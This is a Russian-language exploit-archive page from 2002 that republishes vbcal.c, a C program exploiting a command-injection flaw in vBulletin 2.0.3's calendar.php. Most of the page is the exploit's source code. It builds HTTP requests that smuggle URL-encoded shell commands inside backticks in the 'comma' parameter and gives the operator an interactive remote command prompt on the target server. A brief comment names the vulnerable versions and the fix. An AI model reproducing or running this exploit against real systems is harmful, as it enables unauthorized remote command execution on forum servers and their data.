Эксплоит для vBulletin

Свойства

Дата публикации:
18.11.2002

Код

Улучшенный экплоит для уязвимости vBulletin command execution, поддерживает виртуальные хосты, автоматическое URL кодирование и т.п. 

уязвимость обнаружена в vBulletin 2.0.3

/*
Program: vbcal.c
Original Date: 11-10-02
Version: 1.0
Platform: Linux (Compiled on SuSE 7.3 pro)
c0der: st0ic
Web: www.fsix.net
E-mail: st0ic@fsix.net

Revised:
  None thus far
  
Description:
This is a proof of concept exploit which checks if a vBulletin 
installation
is vulnerable to a security flaw in the calender.php script.

Vulnerable versions:
  vBulletin 2.0.3 and before with the calendar option enabled and
  a event on one of the dates.
Immune versions:
  vBulletin 2.2.0 and later or any vBulletin with the calendar disabled.
  
Solution:
  Upgrade to the newest vBulletin [http://www.vbulletin.com/] or disable
    the calendar in vB's admin options.
  
Stuff:
gosper is credited with disclosing this to securiteam on 9-24-02 along 
with a 
working exploit and he probably discovered it too. I wrote this because 
his 
exploit didn't URL encode all the characters that needed to be URL encoded
in order for some of the inputted commands to work properly. I added a 
date 
argument which is essential for exploiting the security hole. I also used 
an 
fdopen() and fgets() to make sure all the output was recieved and 
displayed 
correctly, at least I hope it works better ;-). Last thing I built in was 
HTTP 
version 1.1 support so that you can use this against virtual hosts. 
Yeah... and 
you can exploit this with a web browser too, its just easier to use this 
program, 
most of the time.

Greetz to JadaCyrus, Terrorist, IreEnigma, badpack3t, biocenosis, ttye0, 
End of Days, sk3tch and all the people in #ozane (www.ozane.net). If I
forgot you, well shit.

Compile: gcc vbcal.c -o vbcal
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>

#define url1 "calendar.php?calbirthdays=1&action=getday&day="
#define url2 "&comma=%22;echo%20'';%20echo%20%60"
#define url3 "%60;die();echo%22"

void time_out(void)
{
  printf("\ntimed out on connect()\n");
  exit(0);
}

void usage (char *prog)
{
  printf("\n\t %s <-h host> <-d date> [-u url_path] [-p port] [-t timeout] 
[-v (verbose)]\n\n", prog);
  printf("\t The -h and -d arguments are required, the rest are 
optional.");
  printf("\n\t date takes the format Year-Month-Day: 2002-11-14 = Nov. 14 
2002.");
  printf("\n\t date must also be a date on the vBulletin board that has an 
event on it.\n");
  printf("\n\t **Note: if you get a HTML dump of a vBulletin page, you 
probably used a date without an event on it.");
  printf("\n\n\t Examples: %s -h 192.168.1.2 -d 2001-12-8", prog);
  printf("\n\t      %s -h 192.168.1.2 -d 2002-11-14 -u /forums/ -p 8080 -t 
20 -v\n\n", prog);
  exit(0);
}
  

int main(int argc, char *argv[])
{
  int c, x, sockfd, verbose = 0;
  int timeout = 10; /* timeout for connection */
  int port = 80; /* 80 default for HTTPD */
  char *path = "/"; /* url path, default = "/" */
  char *host = NULL, *date = NULL;
  char sign = '%';
  char *prog;
  char tmp[2];
  char tmp2[4];
  char cmd_buf[501];
  char encoded_cmd[501];
  char data[1024];
  char output[20480]; /* 20k recv buf */
  struct sockaddr_in addr;
  struct hostent *he;
  struct sigaction action;
  FILE *f;
    
  memset(&tmp, '\0', sizeof(tmp));
  memset(&tmp2, '\0', sizeof(tmp2));
  memset(&cmd_buf, '\0', sizeof(cmd_buf));
  memset(&encoded_cmd, '\0', sizeof(encoded_cmd));
  memset(&data, '\0', sizeof(data));
  memset(&output, '\0', sizeof(output));
  
  prog = argv[0];
  
  fprintf(stderr, "\t ---[ vb_cal.c\n");
  fprintf(stderr, "\t ---[ vBulletin 2.0.3 and before Calendar 
exploit\n");
  fprintf(stderr, "\t ---[ c0ded by st0ic\n");
  fprintf(stderr, "\t ---[ www.fsix.net\n");
  
  if (argc < 5 || argc > 12)
    usage(prog);
  
  
  while ( (c = getopt(argc, argv, "h:d:u:p:t:v")) != -1 )
  {
    switch(c)
    {
      case 'h': /* host */
      {
        host = optarg;
        break;
      }
      case 'd':
      {
        date = optarg;
        break;
      }
      case 'u': /* url path */
      {
        path = optarg;
        break;
      }
      case 'p': /* port */
      {
        port = atoi(optarg);
        break;
      }
      case 't': /* connect timeout */
      {
        timeout = atoi(optarg);
        break;
      }
      case 'v':
      {
        verbose = 1;
        break;
      }
      default:
        usage(prog);
    }
  }
  /* make sure we got the required stuff */
  if (host == NULL)
    usage(prog);
  else if (date == NULL)
    usage(prog);
  
  if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  {
    perror("socket()");
    exit(1);
  }
  
  if ( (he = gethostbyname(host)) == NULL)
  {
    perror("gethostbyname()");
    exit(1);
  }
  bzero(&addr, sizeof(addr));
  addr.sin_family = AF_INET;
  addr.sin_addr = *( (struct in_addr *)he->h_addr);
  addr.sin_port = htons(port);
  
  bzero(&action, sizeof(action));
  action.sa_handler = (void *)time_out;
  action.sa_flags = 0;
  sigaction(SIGALRM, &action, 0);
  
  alarm(timeout);
  if ( connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == -1)
  {
    perror("connect()");
    exit(1);
  }
  alarm(0);
  printf("\\q to exit cmd prompt\n");
  while(1)
  {
    printf("cmd> ");
    fgets(cmd_buf, sizeof(cmd_buf), stdin);
    for (x = 0; x < strlen(cmd_buf); x++)
            if (cmd_buf[x] == '\n') 
        cmd_buf[x] = '\0';
      
    if ( (cmd_buf[0] == '\\' && cmd_buf[1] == 'q') )
      exit(0);
    
  
    for (x = 0; x < strlen(cmd_buf); x++)
    {
      tmp[0] = cmd_buf[x];
      /* 0 - 9 */
      if ( (cmd_buf[x] >= 0 && cmd_buf[x] <= 9) )
        strncat(encoded_cmd, tmp, sizeof(encoded_cmd));
      /* A - Z */
      else if ( (cmd_buf[x] >= 65 && cmd_buf[x] <= 90) )
        strncat(encoded_cmd, tmp, sizeof(encoded_cmd));
      /* a - z */
      else if ( (cmd_buf[x] >= 97 && cmd_buf[x] <= 122) )
        strncat(encoded_cmd, tmp, sizeof(encoded_cmd));
      /* everything not a letter or number */
      else
      {
        snprintf(tmp2, sizeof(tmp2), "%c%X", sign, cmd_buf[x]);
        strncat(encoded_cmd, tmp2, sizeof(encoded_cmd));
      } 
    }
    /* use HTTP/1.1 in order to send valid HTTP commands to virtual hosts 
*/
    snprintf(data, sizeof(data), "GET %s%s%s%s%s%s HTTP/1.1\nHost: 
%s\n\n", path, url1, 
      date, url2, encoded_cmd, url3, host);
    /* be verbose about the string we're sending in case we need to debug. 
*/
    if (verbose == 1)
      printf("\nSending: %s", data);
  
    send(sockfd, data, sizeof(data), 0);
    
    if ( (f = fdopen(sockfd, "r+") ) == NULL)
    {
      perror("fdopen()");
      exit(1);
    }
    while(1)
    {
      fgets(output, sizeof(output), f);
      if (feof(f) != 0)
        break;
      else
        printf("%s", output); 
      memset(&output, '\0', sizeof(output));
    }
    
    memset(&cmd_buf, '\0', sizeof(cmd_buf));
    memset(&encoded_cmd, '\0', sizeof(encoded_cmd));
    memset(&data, '\0', sizeof(data));
    memset(&output, '\0', sizeof(output));
    
    fclose(f);
    
    if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror("socket()");
      exit(1);
    }
    alarm(timeout);
    if ( connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == -1)
    {
      perror("connect()");
      exit(1);
    }
    alarm(0);
  }
  return 0;
}


или введите имя

CAPTCHA